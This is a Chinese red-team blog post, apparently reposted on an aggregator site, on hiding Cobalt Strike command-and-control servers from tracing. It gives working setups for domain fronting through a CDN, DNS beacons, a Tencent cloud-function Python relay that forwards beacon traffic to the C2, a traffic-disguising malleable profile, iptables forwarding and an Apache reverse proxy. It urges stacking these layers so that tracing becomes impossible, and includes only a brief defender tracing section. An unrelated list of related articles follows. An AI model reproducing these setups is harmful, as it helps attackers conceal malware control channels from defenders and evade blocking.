【红队APT】反朔源隐藏C2项目CDN域前置云函数数据中转DNS转发

news2024/11/15 10:06:09

文章目录

  • 域前置-CDN隐藏C2真实IP 防止被溯源
    • 什么是域前置
      • 条件
      • 原理
    • ==完整复现==
    • 域前置溯源
  • DNS协议-域名记录解析
  • 云函数-腾讯云操作
    • 云函数如何溯源
  • 端口转发-Iptables
  • 中间件反向代理-Apache

域前置-CDN隐藏C2真实IP 防止被溯源

国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析

什么是域前置

区别于单纯的CDN隐藏IP技术;域前置技术采用高权重域名进行伪装,效果要更上一层楼!
在这里插入图片描述

条件

对自己的域名开启全站加速(DCDN服务),这里我使用的是阿里云
在这里插入图片描述
关于域名解析等琐碎的事情,这里省略了……当然添加SLL证书的话效果会更好
超级ping获得各个节点的ip,选择一个ip进行域名反查,获取其中高信誉的域名(权重高、知名域名)
如图所示新增监听器
在这里插入图片描述
https host header是载荷通信传输命令和结果的请求地址,流量审查的时候,https请求证书的地址为www.baidu.com。而实际与cs.whgojp.top进行数据交互

原理

注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方

curl -v -H "host:cs.whgojp.top" https://www.baidu.com

意思是请求百度站点,但因为指定了host,所以实际上请求的是同服务器上的cs.whgojp.top站点。
当我们请求一个部署了 CDN 服务的域名时,实际上也默认使用了云厂商内部的解析器。
而云厂商内部的解析器,实际会根据 Header 中的 Host 字段判断回源域名,最后效果是,请求内容以Host字段为准。
在这里插入图片描述
这里可以看到实际返回的结果还是百度的,并没有返回https://cs.whgojp.top上面的请求数据
因为厂商不支持域前置,而且此处的www.baidu.com CDN节点ip与我的并不相同。这里只是做演示
那么如果存在域前置的话,这里返回的数据应该和下方请求相同

curl -v host:cs.whgojp.top

cs.whgojp.top代表着我们的恶意站点,www.baidu.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。

完整复现

复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了
这里使用的是奇安信态势感知平台进行ip反查域名
在这里插入图片描述
这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施)
这里找到一个不带后缀的域名

curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn	#不知名网站 凑合复现

在这里插入图片描述
成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)
在这里插入图片描述
进行简单上线,抓包分析,成功复现!!!
在这里插入图片描述
而且这里的外联IP和云函数一样不停的在变化。
试想一下:域前置+修改CS profile原生特征(header字段 心跳包频率 ssl证书等)+傀儡机代理+域名不备案(别人的域名)+等等等等
这怎么溯源?
这里简单分析一下上线流量数据包
在这里插入图片描述
这加密后的https啥也看不出来啊……

域前置溯源

前几天面试问到了使用了域前置怎么溯源? emmm
这里拿自己生成的样本payload进行简单溯源
条件:样本Payload,
在这里插入图片描述
通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host
1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。
2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。
3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。

节选自:https://www.anquanke.com/post/id/260888#h2-10

DNS协议-域名记录解析

1、域名解析设置A,NS记录

ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs  A  xx.xx.xx.xx(CS的IP)

在这里插入图片描述

2、CS监听器-DNS
Beacon DNS
DNS地址配置:

ns1.xxx.com
ns2.xxx.com

在这里插入图片描述

3、执行后checkin唤醒
在这里插入图片描述
这个DNS上线早在内网渗透过程中已经做过相关解释
在这里插入图片描述

云函数-腾讯云操作

1、创建云函数
腾讯云-云产品-云函数-函数服务-新建
2、创建函数服务
选择从头开始-函数类型选择事件函数-函数名称任意-
运行环境选择python3.6-并复制如下代码并修改CS的IP-点击完成

#-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://XXXX'  # 修改为自己C2服务器地址
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

3、创建触发器
触发方式选择API网关触发-勾选启用集成响应-点击提交
4、配置触发器
点击API服务名对触发器进行配置
将路径修改为/,然后点击立即完成
5、配置profile文件-触发URL

set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

在这里插入图片描述
这里不做云函数相关配置演示
6、启动CS加载profile

./teamserver IP 密码 xxx.profile

7、CS新添监听器
在这里插入图片描述
以该监听器生成后门进行上线有一个有意思的特点就是external IP 不停的在变化(而且都是腾讯云的IP)

云函数隐藏真实IP上线

这里使用火绒剑看下上线主机外联IP
在这里插入图片描述
这里可以看下,上面是使用云函数上线的后门(连接腾讯云下某ip),下面是未使用云函数的后门(正常连接恶意服务器)
查一下该IP归属175.24.155.20
在这里插入图片描述
成功隐藏自己真实IP,因为IP不停的在变化,即使封掉该IP也会有其他节点IP进行上线
毕竟使用云函数服务是需要Money的emmm
在这里插入图片描述
腾讯云后台云函数API调用数据

云函数如何溯源

最近面蓝护,学到什么都要想一想怎么溯源
篇幅过长,放在了下篇文章了……

端口转发-Iptables

1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward  =1

在这里插入图片描述
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146
在这里插入图片描述
上线之后,其实只是做了一个简单的流量转发,IP封掉就下线
在这里插入图片描述

中间件反向代理-Apache

1、代理机安装Apache:

apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

2、中间件设置转发:

http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务

service apache2 restart

4、CS监听器配置转发机IP
在这里插入图片描述

可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰

注:

如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。
请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/447793.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

局域网哪些特点?快解析内网穿透实现外网访问局域网SVN

无线局域网传统是有线局域网络的补充和扩展,具有灵活性、可移动性及较低的投资成本等优势,受到了家庭网络用户、中小型办公室用户、广大企业用户及电信运营商的青睐,成为当前整个数据通信领域发展最快的产业之一。 局域网一般为一个单位所建&…

(20230418 SALE算法)个人模型学习笔记记录 500

写给自己: 一、先不做对称的结构试一下,上一个ALE的模型,记得有次没有做对称结构,居然需要11天才能算完,当时吓得我赶紧删除了,做了对称结构。先试一下这个S-ALE能否不做成对称的。但是我感觉或许也会计算很长时间。要不我先试一下。 写给自己: 一、先不做对称的结构…

【UE 控件蓝图】通过键盘选中要点击的按钮 通过Enter键点击

上一篇【UE 控件蓝图】菜单及功能实现博客已经完成了菜单的制作,但是我们只能通过鼠标来点击菜单选项,本篇博客实现的是能够通过键盘的上下键来选中按钮,然后按下“Enter”键来实现点击按钮的效果。 效果 可以看到并没有移动鼠标也可以通过…

Node【Global全局对象】之【Console】

文章目录 🌟前言🌟Console模块🌟console对象方法🌟console.log()🌟console.dir()🌟console.time()🌟console.assert()🌟console.trace()🌟写在最后 🌟前言 哈…

升级数智化底座领先实践:北京地铁加速财务数智化转型

近年来,数字经济蓬勃发展,正在成为重组全球要素资源、重塑全球经济结构、改变全球竞争格局的关键力量。中共中央、国务院印发的《数字中国建设整体布局规划》再次明确指出,做强做优做大数字经济。推动数字技术和实体经济深度融合,…

如何使用Postman做多接口测试【实战】

1. 摘要 本文讲解使用postman做接口测试和批量接口测试的方法。 2.实践内容 2.1 环境变量和全局变量的设置: a. 环境变量的设置方法如下图。点击设置一个环境变量,名为"user_pwd", 里面设置username 和passwd的值,然后在请求中…

gdb切换窗口焦点

为了辅助调试,一般会使用layout src,调起TUI显示代码: 然而这种情况下我们写命令很不方便,无法方便地使用上一条命令、退格等。 按动上下左右方向键盘只会移动代码框,然而在伪终端下,可以用鼠标滚轮来上下…

同步TMS-fMRI研究脑功能网络的指南

导读 经颅磁刺激(TMS)可直接激活人脑新皮层中的神经元,并已被证明是认知神经科学因果假设检验的基础。通过同时使用TMS和fMRI,皮层TMS对远端皮层和皮层下结构活动的影响可以通过改变TMS输出强度来量化。然而,TMS在fMRI时间序列中产生了显著的…

Google Earth Engine谷歌地球引擎GEE合并多个不同Asset的方法

本文介绍在GEE中,将多个存储有点要素的Asset加以合并,使得其成为一个Asset的方法。 本文是谷歌地球引擎(Google Earth Engine,GEE)系列教学文章的第十五篇,更多GEE文章请参考专栏:GEE学习与应用…

银行数字化转型导师坚鹏:商业银行数字化风控(2天)

商业银行数字化风控 课程背景: 数字化背景下,很多银行存在以下问题: 不清楚商业银行数字化风控发展现状? 不清楚对公业务数字化风控工作如何开展? 不知道零售业务数字化风控工作如何开展? 课程特色…

web攻防-通用漏洞验证码识别复用调用找回密码重定向状态值

目录 一、知识点概述 二、找回密码过程中涉及到的安全问题 三、案例演示 <验证码回显> <修改Response状态值> <验证码爆破> 四、真实案例1 <更改状态值> <验证码接口调用> 五、真实案例2 <用户名重定向> 六、安全修复方案 一、…

C语言实现栈--数据结构

魔王的介绍&#xff1a;&#x1f636;‍&#x1f32b;️一名双非本科大一小白。魔王的目标&#xff1a;&#x1f92f;努力赶上周围卷王的脚步。魔王的主页&#xff1a;&#x1f525;&#x1f525;&#x1f525;大魔王.&#x1f525;&#x1f525;&#x1f525; ❤️‍&#x1…

【半个月实践】普通人如何利用ChatGPT变现?(附镜像网站)

前言1.PPT2.百度问答3.代写文章4.设计LOGO 前言 如今ChatGPT的话题爆火各大平台&#xff0c;所谈论的方向也各不相同&#xff0c;或许是ChatGPT使用方法、应用领域、前景趋势等等。而这必然也产生了信息差&#xff0c;使得大多数人可以利用ChatGPT变现。   而在这一开始&…

嵌入式QT (使用 Qt Designer 开发)

一、使用 UI 设计器开发程序 1.1、 在 UI 文件添加一个按钮 1.2、在 UI 文件里连接信号与槽 所谓信号即是一个对象发出的信号&#xff0c;槽即是当这个对象发出这个信号时&#xff0c;对应连接的槽就发被执行或者触发。 UI 设计器里信号与槽的连接方法一&#xff1a; 在主窗…

分类预测 | MATLAB实现BO-CNN-LSTM贝叶斯优化卷积长短期记忆网络多输入分类预测

分类预测 | MATLAB实现BO-CNN-LSTM贝叶斯优化卷积长短期记忆网络多输入分类预测 目录 分类预测 | MATLAB实现BO-CNN-LSTM贝叶斯优化卷积长短期记忆网络多输入分类预测效果一览基本介绍模型搭建程序设计参考资料 效果一览 基本介绍 MATLAB实现BO-CNN-LSTM贝叶斯优化卷积长短期记…

TCP长连接的连接池、容量控制与心跳保活

一、长连接与短连接 TCP 本身并没有长短连接的区别&#xff0c;长短与否&#xff0c;完全取决于我们怎么用它。 短连接&#xff1a;每次通信时&#xff0c;创建 Socket;一次通信结束&#xff0c;调用 socket.close()。这就是一般意义上的短连接&#xff0c;短连接的好处是管理…

FastReport .NET 2023.2.7 FastReport Crack

快速报告 .NET 适用于 .NET 7 的报告和文档创建库 v. 2023.2.7 适用于 .NET 7、.NET Core、Blazor、ASP.NET、MVC 和 Windows Forms 的全功能报告库。它可以在微软视觉工作室 2022 和 JetBrains Rider 中使用。 利用 .NET 7、.NET Core、Blazor、ASP.NET、MVC 和 Windows For…

yara规则--编写

编写 YARA 规则 — yara 4.2.0 文档 YARA规则易于编写和理解&#xff0c;并且它们的语法是 类似于 C 语言。这是您可以编写的最简单的规则 YARA&#xff0c;它什么都不做&#xff1a; rule dummy {condition:false } 一、规则标识符 每个规则都以关键字“ rule”开头&#xff0…

成功案例丨Fortinet为跨国汽配制造企业打造典型安全SD-WAN网络

某国际化汽车配件制造企业&#xff08;以下简称某企业&#xff09;为解决跨国数据传输难、单一网络费用贵等痛点&#xff0c;决定采用SD-WAN这一新的组网形式。Fortinet携手中企通信为其打造组网高效、云网一体化、集中管理和编排的安全SD-WAN网络&#xff0c;通过精准流量和应…

数据库实验 | 第5关:使用游标的存储过程

任务描述 本关任务&#xff1a; jdxx数据表有四个字段&#xff0c;分别是省份(sf)、城市(cs)、区县(qxmc)、街道(name)。 例如&#xff0c;查询天心区(qxmc)的所有字段的值结果如图所示 任务要求 建立存储过程 tjdq(in sf varchar(10)) 输入省份的名称&#xff0c;将该省份…